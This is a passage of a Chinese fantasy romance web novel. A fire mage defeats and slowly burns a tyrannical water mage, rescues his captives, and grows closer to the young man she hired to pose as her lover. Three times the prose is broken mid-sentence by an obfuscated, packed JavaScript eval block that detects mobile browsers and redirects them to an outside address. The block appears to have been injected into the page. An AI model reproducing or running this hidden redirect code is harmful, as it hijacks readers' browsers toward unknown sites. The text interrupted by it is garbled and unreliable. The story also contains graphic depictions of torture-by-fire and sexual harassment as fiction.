她对浪漫小说的了解仅限于早上翻看过的那本《铁血公爵对我动心》。可是，她在路上听埃文说了大概的剧情：公爵爱上了牧羊女。 现实中不会发生这样的故事。 现实中身居高位的男人只把底层的漂亮女孩当成随手摘下的果子，吃完了把核儿一扔。 就像玛西亚的妈妈常常拿来告诫她的邻居丽娜，可怜的、被骑士玩弄的丽娜。 “不不，玛西亚，我同样是基于现有信息做的判断，”埃文身体前倾，靠近她，小声地分析，“已知，小姐和王都的贵人结婚，为了避免嫌疑，小姐的家族驱逐了克劳德。如果他们没有感情，克劳德对那位小姐应该是什么态度呢？” “他蒙受不白之冤，又失去了前途。多少会有些怨言。”她答道。 “既然如此，他还会在离开之后告诉小姐他的地址么？即便他自认倒霉，不去恨曾经的主君，也一定不想联系，也不该联系了吧。” “这……听上去有些道理。” “然后，我们再来看小姐这边。现在她已经遵照家族的意愿结婚，她不可能不知道给传闻中的旧情人去信意味着什么吧？也许她遇到了困难，也许她的婚姻并不美满，也许是单纯的思念旧友……不管她具体是怎么想的，这封信都很危险。然而，这封能让她身败名裂，作为别人怀疑她婚前纯洁证据的信，此刻，已经来到这座城堡了。” “我明白了，你是说，小姐丝毫不怀疑克劳德对她的忠诚。即便这不是爱情，也得是相当深厚的友谊。” “没错。” “埃文。” “怎么？” “你很聪明诶！”她咧开嘴，赞赏地笑了，她笑得太实在，脸颊被挤出两坨红晕， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010688|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得有点儿憨厚。 埃文的心脏猛跳三声，不知不觉，他已经离她太近了，不仅呼吸交错在一起，还能看清玛西亚眼尾短短的睫毛，还有脸上浅浅的一颗小痣。 “啊，那个……你付了报酬，我自然要派上用场。”他退回原位，挠了挠头，又假装很忙地抓起面前的饼干，往嘴里塞了一块，胡乱咀嚼，“还挺好吃的。” “是吗？我也尝尝。” 玛西亚咬了一小口之后，抬头看见埃文的耳朵：“耳朵都冻红了，怎么在屋子里这么久还没暖过来？” “就是屋子太温暖才会这样，没事！”他双手捂住耳朵低呼。 “好吧。”玛西亚继续把饼干吃完，喝了口茶，又说了句，“总之，以后有我在你就不会再受冻了。” 埃文在心中疯狂尖叫，这种天然的、不假思索的承诺…… 可是，他醒自己：不是，这不是情话。 他已经有点了解玛西亚了，她的情感与语言都很朴素，不是那种舌灿莲花的人。理解她的话，只需要理解字面意思，千万不要多想。 到晚饭时，着黑衣的克劳德带着一身寒气回到了城堡。 他沉默地看着莉莉娅特，看着她自己剪的、毛茬茬的短发，看着她不安地绞在一起的手指，久久不发一词。 “哥哥……对不起。” “不，我亲爱的莉莉。我明天就去把格罗姆宰了。” 他摘下兜帽，露出一张愤怒而坚毅的脸：“我知道剑无法劈开魔法，但如果他想夺走我唯一的亲人……”克劳德把手按在剑柄上。 莉莉娅特立刻说：“我遇到了一位愿意帮助我的魔法师！” 谁料，克劳德并未转忧为喜，反而说：“如果一个坏男人欺辱你，转过头一个好男人拯救你，最后你还是落到这群把你当工具的魔法师手里，直接抢和耐心的骗，有什么不同？” 这时，玛西亚才走了出来：“我帮助莉莉娅特并不是为了得到她。” 克劳德一愣，慢慢抬眼，打量玛西亚。 一个二十多岁的女青年，不高不矮，棕发一半盘在头顶，一半披散下来。眼睛的颜色很少见，是青绿色，有点像蓝色调的绿玉，合该嵌在一个冷艳美人的脸上。可她却长了一张厚道的好人脸，是那种走在街上，别人一眼就知道要找她问路的长相。 她说她是魔法师……克劳德看到她穿着很单薄的衣服，判断她是火魔法师。又从她别在腰间那根半新不旧的法杖看出，她应该已经当了几年魔法师，不是新手。 可，到底水平如何呢？ “这位小姐，我为刚才的话道歉，格罗姆的事弄得我精神紧张，说到魔法师我下意识地想到了男人，这是我的错。” 玛西亚点头，表示接受。认错这么快，已经比很多人好上一大截了。毕竟在这个社会里，除了魔法师，大部分体面的工作都是男人在做，如果是女人在做，就要在称谓前特殊说明，比如：女王、女骑士、女医生、女诗人。 “但我不知道这对您来说是否容易，格罗姆很强。他是极北之地的一方恶霸，冰原上自立的魔法皇帝。我曾接触过几个高阶魔法师，我认为他和他们旗鼓相当。” “啊，没事。我六年前就是高阶魔法师了。以及，如果他真的强大，屠灭魔王的奖励那么丰厚，他怎么不去做？是不喜欢么？” 闻言，克劳德终于说不出话来。北地信息再闭塞，他也知道谁是结束战争的英雄。 是“烈焰之炎”玛西亚·布莱斯。 一个注定会被历史记住的名字。 8. 烈焰与水的对决 虽然自信，玛西亚却并不轻敌，她认真地打听了格罗姆的底细。 格罗姆，水魔法师，十五岁之前是个普通人。魔法天赋觉醒后他开始用水作为攻击手段，一语不合就把人冻成冰雕，就这样为害一方。 玛西亚进行分析：“如果他全靠自己琢磨，就能给你留下不输高阶魔法师的印象，那他确实还不错。” 水魔法通常被认为是一种充满灵性的生活魔法，人、动物、植物的内部大多都含有不同形态的水元素，因此，水魔法可以治愈很多疾病。 用水魔法战斗，不是不行，就是多少有点儿浪费。至少玛西亚觉得有更值得做的事。 埃文不懂魔法，听对方的能力是水，难免忧心忡忡：“会不会有点儿克制你？” “不，魔法的世界里没有常识。” 克劳德：“明天，我带您去格罗姆的地盘，莉莉娅特也去，不然他不会让咱们进门。一露面就开始战斗的话，如果他见势不妙逃跑，也会很麻烦。” “明白。从里到外烧个干净，不留后患。”她转头又对埃文说，“我会尽快回来的。” 既然把他视为同伴，分头行动时自然要叮嘱一句，好让埃文安心等她回来。 埃文却紧张地站起来，快速上前几步，伸出手牵住她的袖子：“我跟你一起去。” “嗯？” “玛西亚，我们是同伴，对不对？别让我留在家里等消息。等待的感觉太煎熬了。” 玛西亚困惑地看着他，有些不知所措：“埃文，水魔法不会对我造成任何威胁的。别担心。” “我知道你会赢，我相信你会赢，可是，也让我做点什么吧。带我去……行么？” 埃文只觉此刻的场景如此似曾相识。战士上了战场，然后就一去不回。纵然理智告诉他，今时不同往日，玛西亚不会输，大脑还是强迫地回溯，把他丢回记忆深处。 看他妈妈就知道了，除了等待什么也做不了，等来等去，结果还是不会改变。 他会失去父亲，然后再失去母亲，失去村庄里绝大数的邻居、伙伴……他们死于战争、龙灾、寒冷、疾病，死于他无法理解也不能战胜的力量——命运。 他当然知道现实不是浪漫小说。 也许就是因为现实太残酷了，他才会以此为寄托。 “求你……” 把他从等待中解救出来，开启一个新的故事吧。 浪漫的故事，温暖的故事，并肩战斗的故事，翻到最后一页，所有人都会幸福的故事。 埃文不觉露出如同被抛弃的孩子一般的表情，玛西亚于心不忍：“好，我们一起去。” 反正，她自信能够掌控局面，不会让他有危险的。 “谢谢你，玛西亚。” 克劳德在一旁皱着眉头看愣了。 他听妹妹说玛西亚愿意出手相助，有很大一部分原因是为了能安心带走埃文。在他看来，埃文年轻、强壮、俊美，确实不假。但这性格…… 怎么说都有点太粘人了。 克劳德礼貌地打断他们：“我们一起去也好。毕竟，格罗姆的说法是‘我想和你妹妹结婚’，新娘家多去几个人，也算做足姿态。” “他居然好意思说是结婚。”玛西亚怒极反笑。 次日，玛西亚与埃文同斯温兄妹一起出发前往格罗姆的地盘。 莉莉娅特身着盛装礼服，稚嫩的脸和繁复的衣服、逃跑时剪短的头发和精致的妆容，强烈的对比令所有人都感到一种荒谬。 这样的小女孩儿怎么可以做新娘呢。 “玛西亚姐姐……”她攥着裙角，把衣料揉皱。 “别怕，交给我。” 玛西亚默默在脑海里想好了格罗姆的死法。 格罗姆住在一个小村庄，原本的木屋、土墙还在，罩上了厚厚的冰壳子，他用魔法把这里改造成了坚不可摧的堡垒，一座白色的土匪窝。 “呦，到底把小小姐送上门了，”守门的小喽啰吹了个口哨，眼睛从莉莉娅特挪到玛西亚身上，猥琐地扫量一圈，他可不是魔法师，自然对成年女人更感兴趣，“女仆也一起送来么？不怎么忒漂亮，身材嘛，啧，倒还行。可以陪我们玩玩。” “嘴巴放干净点儿！”埃文把手攥得关节作响，几乎控制不住怒火。 玛西亚本人却十分平静。 尽管说吧，过瘾吧，反正他很快就要变成一堆灰烬了。 格罗姆出现在众人面前。 灰色头发、瘦削的脸、深陷的眼窝和鹰钩鼻，以及长期放纵生活带来的眼袋和黑眼圈，单单他的外表就让人很不舒服。更不用提他那贪婪的眼神，与格罗姆对视，就像被蜥蜴用腻滑冷血的舌头舔了一口。 格罗姆得意地向克劳德走来。 “咱们一开始就该结亲的。您是有钱人，这不假，可惜在冰原上，钱和被雪埋住的石头一样贱。而我是有能力的人，我可以保护我的小妻子，还有她的娘家。这是笔好买卖。” “你十天之前还放话说要把蜡烛城堡劫掠一空呢。格罗姆。”克劳德说。 “哎呀！情况不同了嘛！不过，我得承认，我喜欢莉莉娅特今天穿的裙子，像礼物盒上漂亮的包装纸。让我很有兴趣去拆封。只是她那根油亮的辫子去哪儿了？”说着，他就朝莉莉娅特伸出手来。莉莉娅特受惊地往后一缩。 玛西亚的耐心耗尽。 “格罗姆，准备好。” 看到玛西亚亮出法杖，格罗姆愣了愣，旋即轻蔑一笑：“原来是找了帮手。不过，我可不会输给你这样的丫头。” 玛西亚撇嘴，真没创意，这种话她从小听到大，有什么杀伤力么？没有。 她抬手就是一团火，火球飞到半空，迅速分裂、散开，变成无数火苗，如同红色的鸟群，包围着格罗姆飞旋。 格罗姆对玛西亚对魔法精密的控制以及庞大的魔法储量大为惊讶，恐惧一闪而过，却嘴硬地说：“没常识么，水可以扑灭火，我一会儿就让你掉眼泪！” 玛西亚不语。 他也抡起法杖，朝前一挥，指望自己可以轻松把火焰浇灭。 然而，事与愿违。玛西亚释放出的热力让格罗姆的水瞬间蒸发，手腕轻轻一抖，火花像飞箭一样向四周射去，她没有攻击格罗姆，而是一击把他的喽啰们集中解决。手下痛苦的呻-吟，和他们跌倒在地的重重响声，本身就一种恐吓。 玛西亚太了解这种拉帮结派的人了，这种人没办法一个人呆着，他需要不断在掰手腕、认老大的排序游戏里获胜，他需要有人恭维他、奉承他，陪他过家家，不然就没办法维持脆弱的自尊心与虚假的权威。 格罗姆不是什么冰原皇帝，只是个会魔法的流氓。 格罗姆发狠，从空气中召出锋利的冰刀，掀起四周围全部的雪，作势要把她埋了。 玛西亚从容地向前迈步，一步一步走进纷纷冰刃中，不念咒语，不用法术，任冰雪打在自己身上——它们连一滴水痕也没有留下，嘶嘶作响了一会儿，便无影无踪地气化、消失。 “格罗姆，”她平静开口，“我来教你新的常识：我名为玛西亚·布莱斯，人们叫我‘烈焰之炎’。” 格罗姆的面部肌肉开始抽动，他不甘心地再次发起攻击，玛西亚则轻轻松松接下，缓缓伸出手，卡住他的脖子。 她的手越来越烫，最后，竟像烙铁一样，嘶啦嘶啦地煎着他的皮肉，与之接触的地方散出股股黑烟。 “如果你认错，并向莉莉娅特道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010689|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歉，我可以减轻你的痛苦。” 喉咙快被烤熟的格罗姆又该怎么发出声音呢？他愤怒地瞪着玛西亚，艰难地骂她：“狠毒的……女……” 玛西亚摇摇头。 “好吧。既然你没别的话要说。”她用火焰织出滚烫的网，绑缚他的身体，使其无法再行动。 与此同时，克劳德带着埃文，找到两个被格罗姆囚禁的人：一个被殴伤的老年男人、一个蓬头垢面的年轻女人。 玛西亚问他们：“要看我把格罗姆烧成灰再走么？” 老人似乎神志不清，眼神迷蒙，女人则抬起了头，惨然一笑：“当然！我一直想亲眼看着他死，我得给丈夫送葬呢。” “丈夫？”玛西亚瞪了格罗姆一眼，大致猜到了他的所作所为，心中一阵憎恶，又转向这个可怜的女人，轻声询问，“你也是元素亲和者，对么？” 那女人不答，只是控诉：“他掐死了我每一个孩子……凭什么说我的女儿是次品！狗东西！去死，去死吧！” 她歇斯底里地吼叫，如野兽般吼叫，抓起地上的石块，暴怒地砸向格罗姆。格罗姆剧痛之下，仍有气息和知觉，身体不可控制地发抖。 他这个时候才知道后悔，想说些求饶的话，可喉咙附近的肉已经彻底熟透。 女人说的“每一个孩子”、“次品”等语，让玛西亚的心情变得很差。她本无意凌虐敌人，但处刑最重要的一点是让受害者满意。 于是，玛西亚像点燃线香一样，点燃了格罗姆四肢的末端，精确地控制着魔法，使火焰一点一点地吞没他的身体。 莉莉娅特年纪小，但并不害怕，始终直视着复仇的火焰。埃文脸上也没有反感的表情，反而很敬佩她似的，这也让玛西亚感觉舒服。 这就是雇人的便利，玛西亚心想，她不用担心在埃文暴露自己性格中残忍的一面。要是真的去恋爱，谁会爱上杀人放火的她呢？ 约一刻钟后，这场缓慢的火刑才结束。 女人对着焦黑的尸体大笑，笑了一会儿又泣不成声，最终体力不支晕了过去。 莉莉娅特上前一步扶住她，像搭救一个不走运版本的自己：“哥哥，我们把她带回家，可以么？” “当然。”克劳德表情不多，但语声坚定有力。 斯温兄妹把她扶到冰车上，连同那位受伤的老人一起，返回蜡烛城堡。 安顿好两人以后，玛西亚才把王都贵妇的信交给克劳德。他接过信，拆开，一目十行地浏览，随即快速地把信攥在手心，捏成一团。 “斯温先生，有什么事明天再聊，怎么样？”玛西亚同样内心疲惫，没有余力关心他的事情。 克劳德点了点头：“您好好休息。” 待房间里只剩玛西亚，埃文才小心地开口，关切地问：“玛西亚，你被格罗姆气坏了，对么？” “感觉很郁闷，说不上来。” “你已经做得不能更好了！还能怎么着呢，别让这个烂人死后还折磨你的心。” “谢谢。其实我在思考魔法师到底是什么。你说过，格罗姆寻找亲和者生育魔法师后代的行为很像宠物在配种。” 玛西亚抬起头，凝视他的金眸。 “埃文，你作为普通人，你觉得魔法师是怎样的存在？” “玛西亚，你当然是人，人类。有能力的优秀人类。格罗姆自甘堕落，好好的人类不当，非要做畜牲。你不用试图理解他的想法，小说里他那种没魅力的反派出场一会儿就会死。连句台词都多余让他说！” 玛西亚被他认真的语气逗笑，不安的感觉却挥之不去。魔法师不被人歧视也就是最近五六十年的事，是人魔战争提高了魔法师的地位。 而现在，战争结束了。 9. 嵌入血肉的钥匙 解决了敌人，玛西亚反而心事重重，当初对付魔王时，她都没有这样过。倒不是因为格罗姆有多少厉害，而是对比之下，魔王的邪恶很纯粹。 魔族是世界的疾病，从裂隙中涌出，吞吃有生命的一切。 与魔王战斗时，她不用想太多，烧就完事儿了。不像现在，她打败了格罗姆，又好像并没有。 “埃文，请问，你愿意陪我一起去庭院散步么？我想透透气。” “当然。”他痛快地答应，忽而想起自己的角色，认真地提醒道，“玛西亚，你不该对我这么客气。” 脑海中浮现斯黛拉和亚当相处的样子，玛西亚点了点头：“好像确实有点太生分了。我该怎么调整？” “首先要去掉‘请问’，然后再换一下口吻。你要确信：只要你邀请，我就会答应。如果我们相爱，我怎么会不愿意陪你呢？恋爱不就是两个人共度时光么？” “明白了。”她走近，深吸一口气，理直气壮地重新开口，“埃文，出去走走吧。” 埃文肯定道：“对对对！就是这种感觉。再加点肢体接触呢？” 于是，玛西亚又伸手挽住他的胳膊。 “非常好，试试仰起脸，看着我的眼睛，对我笑，尽量甜蜜一些。” 玛西亚照做。 她令自己嘴角上扬，露出了八颗雪白的牙齿，这是一个怎样用力过猛的笑容啊！当两人视线交汇，玛西亚迅速在脑海中想遍所有快乐的事：打败同学，打败老师，打败魔将，打败魔王……表情越来越嚣张，笑容也逐渐狰狞。 埃文终于坚持不住，爆发出失控的大笑。 玛西亚无措地愣在原地。 “没事，哈啊……没事！循序渐进。能挽着手臂就很好，截止到这一步还挺自然的。” “嗯。我也感觉不错。” “什么感觉？” “嗯……身高很合适？把手搭在这个位置很舒服。”她想了一会儿，像评价家具似的评价埃文的身体，“你长得结实，手感好，让我想起真皮扶手椅。” 埃文觉得玛西亚实诚得让人有点伤心，他朝她无奈一笑：“算你夸我好了。” 她也笑，没办法，战斗和谈恋爱是截然不同的事，人不可能每件事都擅长。 痛快地笑了一场之后，来到庭院时，玛西亚的心情已经好了很多。 她弯下身捧起一团雪，搓成雪球，在台阶上摆了一排。埃文默默看了一会儿，猜测她是想要堆小雪人，于是跑去折了一根树枝回来。 “玛西亚，你把树枝点燃，咱们用碳块来当雪人的眼睛。” “好主意。”她便把树枝烧黑，掐成大小合适的小粒，待冷却后，和埃文分了分，开始一颗一颗地往雪球里嵌。 他们对这幼稚的游戏兴致勃勃，玛西亚把心放空，享受单纯的快乐。埃文则像把心填满，有玩伴的感觉、不孤单的感觉，让他感到幸福。 “你冷不冷？需要我用魔法帮你暖一下么？”她问完之后，停顿了一下，“哦，对，我不该这么客气。” 她把埃文的手合拢，包在自己的掌心，施加魔力：“很亲密，对吧？” “对，情侣会这样做的。”埃文高兴地说，“你记住，你对我拥有权利，所以想对我做什么都可以，不用打招呼。” 得到鼓励之后，玛西亚又凑近了些，张开嘴唇，对着他的手慢慢呵气。 “玛西亚，这是谁教你的呢？”他声音有些不自然。 她停下来，回答说：“斯黛拉。你知道，我朋友不多，每天都在热恋的更是只有她一个。” “哈哈……有个模仿对象也很好，很好。” 晚饭时间，兰妮喊他们进屋。 “多冷啊！你们怎么能在外边呆那么久。”随即她看到那排巴掌大的小雪人，耸了耸肩，“好吧，两个年轻人。” 晚饭时，克劳德高举酒杯，再次向玛西亚表示感谢，他十分正式地说：“尊敬的布莱斯公爵，您的恩惠我将永远铭记于心。您的嘱托我会不遗余力地完成。” “我们能互相帮助，这再好不过。” 玛西亚端起酒杯，畅快地饮下。扭头看到埃文一直在盯着酒杯看，并不去喝。 “不会喝酒吗？”她问。 埃文点头：“嗯，酒味有点儿刺鼻。不过我可以为你去学。” “不，你不用为了我做不喜欢的事。” “玛西亚，你真好啊！” 克劳德叹气，又开始了。这两个人真是天造地设，调情不看场合。 “我还有一件事想要拜托您。”克劳德打断他们，对玛西亚说，“您能否帮我带一封回信回王都？” “当然。”玛西亚应下后，又问，“我猜，是件麻烦的事吧？”因为他看上去很严肃，又有些担忧。 “是的。很麻烦。所以请您保密。”克劳德恳切相求。 玛西亚反而松了口气：“这对我来说再好不过。因为，我同样希望没有人知道我在冰原上做了什么。” 过了一会儿，她又说：“当然，杀死冰龙的功绩，还是可以多替我传扬一下的。” 克劳德一顿，反应过来，看了眼埃文，“好，我知道该怎么做了。” 即将吃完这顿饭的时候，仆人跑来告知众人：“救回来的那位老人清醒过来了，他一定要见魔法师，说是有非常重要的事。” “那就去看看吧，”玛西亚放下刀叉，擦了擦嘴角。她起身离开餐桌，去到老人面前。 老人自称是学者，名叫安东尼奥。 “火魔法师，还是女魔法师，糟了……”刚看见玛西亚，他就开始念念叨叨，一副大事不妙的神情。 “有什么糟糕的？” 安东尼奥没有回答，盯着玛西亚看了好一会儿，才说：“你很强大，强大得得简直让人害怕。火魔法是危险、凶猛的战斗魔法，偏偏是个女人得到了它……” 玛西亚隐隐有些生气，皱着眉头，不解道：“那又怎么了？” “听着，孩子。第一，小心身边的追求者，选错人的话，他会吸干你的血！你的血很宝贵……” 玛西亚瞳孔震颤，把所有逆反情绪丢开，开始认真听这老人说话。 “第二，远离抑魔石。抑魔石可以让魔法师失去战斗能力，虽然不是永久的，但也足够危险了。它是一种特殊的白色玉石。” “您为什么要和我说这些？” “别着急，孩子。最后，我的研究全都放在王都图书馆的顶层，我会给你一把钥匙……” 玛西亚突然很紧张，她感觉到老人的语气中有股决然的死意，他说“最后”，就真的是最后。 他伸出枯瘦如冬天的树枝一样的手臂，指了指，说：“为了安全，我把它封在自己的血肉里，借我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010690|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把匕首吧。” 这时，克劳德闪身上前半步，拔出佩剑，按老人的指引，准确地把钥匙从皮肉中挖了出来。切口精准，动作又快，没让老人太痛苦。 玛西亚对他的敏捷身手感到惊讶，却无暇多想，把注意力全都放在安东尼奥身上。 老人疲惫地呼呼喘气：“我没有力气从头到尾地向你说明了，孩子……我做错了事，感谢命运把你带到这里……一定要去图书馆找到我的报告！想办法……” 他把血淋淋的钥匙交给玛西亚后，再次昏死过去。 接下来的几天，安东尼奥的状态都很差，始终没办法清醒过来对玛西亚做进一步的说明。 被救回来的女人则处在应激状态，她连自己名字都忘了，当然更不可能和玛西亚交流。她每晚都在做噩梦，梦魇中，她凄厉地大喊大叫，让蜡烛城堡里的每个人都不忍心去听。 格罗姆到底在干什么？ 安东尼奥又为什么会被他关着？ 玛西亚感觉自己置身于巨大的阴谋里，如一只蝴蝶掉进蜘蛛网中，如若挣扎不出，就会万劫不复。 比被阴谋黏住还让她不安的是，她看不清敌人是谁，更不知晓他们在何处欣赏着自己的挣扎。 克劳德知道玛西亚并不想让更多人参与她的事情，是以一直保持礼貌的缄默。于是，能够与玛西亚讨论这件事的人只有埃文一个。 “玛西亚，卡尔王子会是元素亲和者么？吸干你的血，能得到什么？感觉是个比喻，是不是指你的血脉？他们想利用你生育魔法师后代？” “不，卡尔是风魔法师。元素亲和者不会魔法，仅仅是他们的下一代，有概率继承父母一方的魔法天赋。卡尔追求我，肯定别有用心。但从后代的角度，卡尔娶我其实没什么收益。” “原来如此。可总觉得有点奇怪……” “是的。他，还有他背后的王室，对我的态度都很奇怪。” 白银家族世世代代统治亚斯特，他们掌握着军队、土地、财富……唯独魔法，随机觉醒的魔法，是他们无法控制，更无法垄断的力量。 屠灭魔王的魔法师恰好是亚斯特人，这对王室来说意味着什么呢？ “斯黛拉说，我的忠诚很贵，我是人形兵器，王室当然想把我抓在手里。但现在看，我还有别的用。” “也别太焦虑了，慢慢了解情况，咱们一起想办法。至少可以先解决一个问题——拒绝王子的追求。” 他有耐心，并且乐观。 玛西亚茫然地看向他：“埃文，你怎么这么轻松？你可是被卷进很麻烦的事了。说真的，哪怕你现在说不想干了，不跟我回王都，我也能理解。” “不，我想跟你走。” “你不害怕么？” “有点害怕吧。不过，我一直很期待可以去害怕些新的东西。”他回答说。 “埃文，你可真是对我的胃口。”她欣赏勇敢的人。 玛西亚对他笑了一下，笑容使埃文大脑空白了一瞬，紧接着，他听见自己胸口传来剧烈的心跳声。 “那就好，那就好。” 埃文心想，他在冰原上的生活太单调了，遇到玛西亚这样的雇主真的很幸运。和她一起出发意味着一段全新的旅程，所以他才会这么开心，他绝对没有幻想过别的。 次日，他们与众人告别，一起离开了蜡烛城堡。 10. 突如其来的考验 和埃文在一起时，玛西亚总是非常高兴，开怀大笑的频率比以往任何时候都多。她有时甚至因为不适应说这么多话、笑这么多次而脸颊发痛。 他很聪明，纵然知识几乎全都来源于浪漫小说，可也不能小看浪漫小说题材的广博。 刚刚，埃文注意到雪地上有一串箭头形的三趾脚印，便模仿某本小说里的猎人，逆着风慢慢靠近积雪的灌木丛，用面包屑设置陷阱，抓到了一只肥墩墩的雪地鹌鹑。 “竟然真的可以抓到，有意思。”玛西亚说。 “我也没想到，看来这个作者功课做得很足。”他笑了笑。 埃文笑起来好看。 这世界上不存在美而不自知的人，尤其是男人。埃文这么漂亮，想用脸蛋讨点儿好处无可厚非，合理范围内，任性一点玛西亚也能接受。 可他一点都不自恋，没给玛西亚带来任何不适的感觉，这让她对埃文的内心想法产生了好奇。 “埃文，你身边没有同龄女孩，意识不到自己有魅力。如果你在大一点儿的城镇生活，就会发现你很受欢迎。” 玛西亚用火把肉烤得外焦里嫩，扯下一半，分给埃文。 “那又怎样，”他接过鹌鹑腿肉，吹着气，咬了一口，“在浪漫小说中，脸蛋漂亮只是基础设定。哪怕作者文笔再好，见色起意也是暗淡无聊的情感。无论是交朋友，还是谈恋爱，外表都是最不重要的东西。” “唔，有道理。” 没想到埃文会在谈情说爱的故事中思考这么多，玛西亚问：“那，那个《铁血公爵对我动心》，你觉得它好在哪儿？” 埃文想了想，说：“路易吉成熟、从容，在上流社会游刃有余，看上去很厉害，其实只是刻板地生活，循规蹈矩罢了。反而是女主角爱丽丝更有生命力，更像活人，她看到并欣赏路易吉叛逆的一面。在浪漫小说中，公爵和牧羊女的灵魂是平等的，他们虽然一见面就拌嘴，实际上一直互相欣赏……我喜欢这种打破规则，战胜偏见的故事。” “听上去，浪漫小说里的爱情和魔法很像。” “怎么讲？” “如果没有魔法，我永远没办法和贵族坐在同一间教室读书。如果没有魔法，我现在可能在老家某个小餐馆的后厨刷盘子。我今年二十二岁，按一般的情况，肯定已经嫁人了，运气好会遇到一个和气的丈夫，运气不好说不定一星期会挨两顿打。所以，对我来说，魔法就是‘打破规则’和‘战胜偏见’的力量。” 当然，也有些人滥用魔法，就像有人以爱之名给他人带来伤害。 埃文点头：“这样比较的话，还是魔法更可靠。你真的很了不起。” “了不起？” “当然。我只会在文字里做梦，而你让梦想成真。”他抬起头，望向天空，“你接住了精灵撒在你头上的花瓣，没有浪费自己的天赋。” 玛西亚听出他的语气里有羡慕，还有点小小的自卑，于是说：“埃文，我觉得你也不错。虽然我不懂，但我想，应该不是每个读者都能产生这么多感悟吧？而且，你总能用三言两语把故事的精髓说清楚，这是我做不到的。” 他摇摇头，不认为这算什么本事。可是，玛西亚那青绿色眼眸，诚挚的目光，此刻越过了躯壳，正注视着他的内在。 她看到什么就说什么，丝毫不掺假，正强烈地肯定着他。每被玛西亚夸一句，他的心头就颤一下。 “其实我并没有读过很多书，你看到的那些就是全部。我……我也很久没碰过新书了。” “不难，到了王都，我们去逛书店，正好也要去图书馆寻找安东尼奥的报告。” “真的么，”埃文有些兴奋地说，“带恋人逛街是非常经典的桥段。” 玛西亚认真记下：“好的，好的。我会把整座书店里所有的浪漫小说都买下来，送给我的恋人——埃文。” 她弯着嘴角，露出好学生等待夸奖的笑容，像在说：你看我学得多快！ 埃文突然没办法看她的眼睛，把头垂下，小声说：“谢谢，这真的很让人动心。” 他默默吃完手里的烤鹌鹑，没再说话。 行至王都周围的郊区，他们意外偶遇了斯黛拉。她接了一个葡萄园土壤改造的工作，现在是冬天，正好为来年的种植做准备。 斯黛拉家境很好，真正的大小姐，衣食无忧。当她觉醒魔法天赋，她的家人十分开心，但得知是土魔法，又有点嫌弃。 在她父母看来，土魔法师的工作环境太差了，每天都跟农民一样灰头土脸，要么就是和矿工一起进山钻洞，不是很体面。他们本来也不是那种需要女儿工作的人家。 不需要女儿工作但需要女儿联姻。这迫使斯黛拉快速地离开了他们，投奔了魔法。 好在这世界上还有魔法。 她并不介意弄脏自己的手。此刻，她正扛着一把铁铲，站在葡萄园的垄上戳来戳去，往土壤中注入魔力，感受大地奇妙的回应。 “斯黛拉！斯黛拉！” 玛西亚远远看见那穿紫衣、挥铁铲的金发魔法师，一眼就把她认出来。 “玛西亚，这么巧，你从极北之地回来了啊！”她扭头看到埃文，先是呆住，看清他的容貌之后，又倒吸一口气，尖声问，“玛西亚，他是谁？” “埃文·贝克尔，”玛西亚似乎想展示一下自己的学习成果，控制嘴唇的力度，平静而喜悦地说出台词，“我的恋人。” 斯黛拉愕然。 她打量着埃文，啧啧称奇：“竟还真找到了‘恋人’，你好，我是玛西亚的朋友，土魔法师，斯黛拉。” “你好，斯黛拉小姐，我是埃文。请问你这是在做什么呢？” 斯黛拉回答：“王都的气候，种葡萄有些勉强。但土魔法可以优化土壤，弥补气候的短板，种出一种浅黄色的葡萄，酿出所谓的‘黄金酒’，经济价值很高。我在用魔法检查土壤的情况。” “好厉害，果然优秀的人身边也都是优秀的朋友。你就好像是故事里那种被祝福的人，种什么活什么，走过的地方，花开得都比别处更鲜艳。”埃文感叹道。 “哈哈哈，嘴很甜。玛西亚这种没谈过恋爱的女孩被你迷住，确实很正常。” 斯黛拉肯定了埃文，玛西亚却不知为什么想要纠正：“这不是嘴甜，埃文很真诚，他发自内心地赞美你。” “哦，”斯黛拉眯起眼，意味深长地说，“明白了。那么，谢谢你，真诚的埃文。” 紧接着，她又发问：“你们是怎么认识的，又是从什么时候开始相爱的？” “是在极北之地遇到的，我觉得他各方面都符合我的要求，所以我雇……” “雇？”斯黛拉挑眉，提醒她露馅了。 玛西亚暗叫糟糕，即将抵达王都，要从现在开始进入状态才行。 “雇我做向导。” 埃文及时开口，声音比平时温柔，甚至有些……娇软，语声像一片羽毛轻轻漂在水面上，晃悠悠地从她侧后方传来。 玛西亚感觉脖子有点痒痒。 “然后，我们在途中遭遇冰龙袭击，玛西亚救了我，我不可自拔地爱上了她，爱上了救我一命的恩人。”他看向玛西亚，眼睛里有星星。 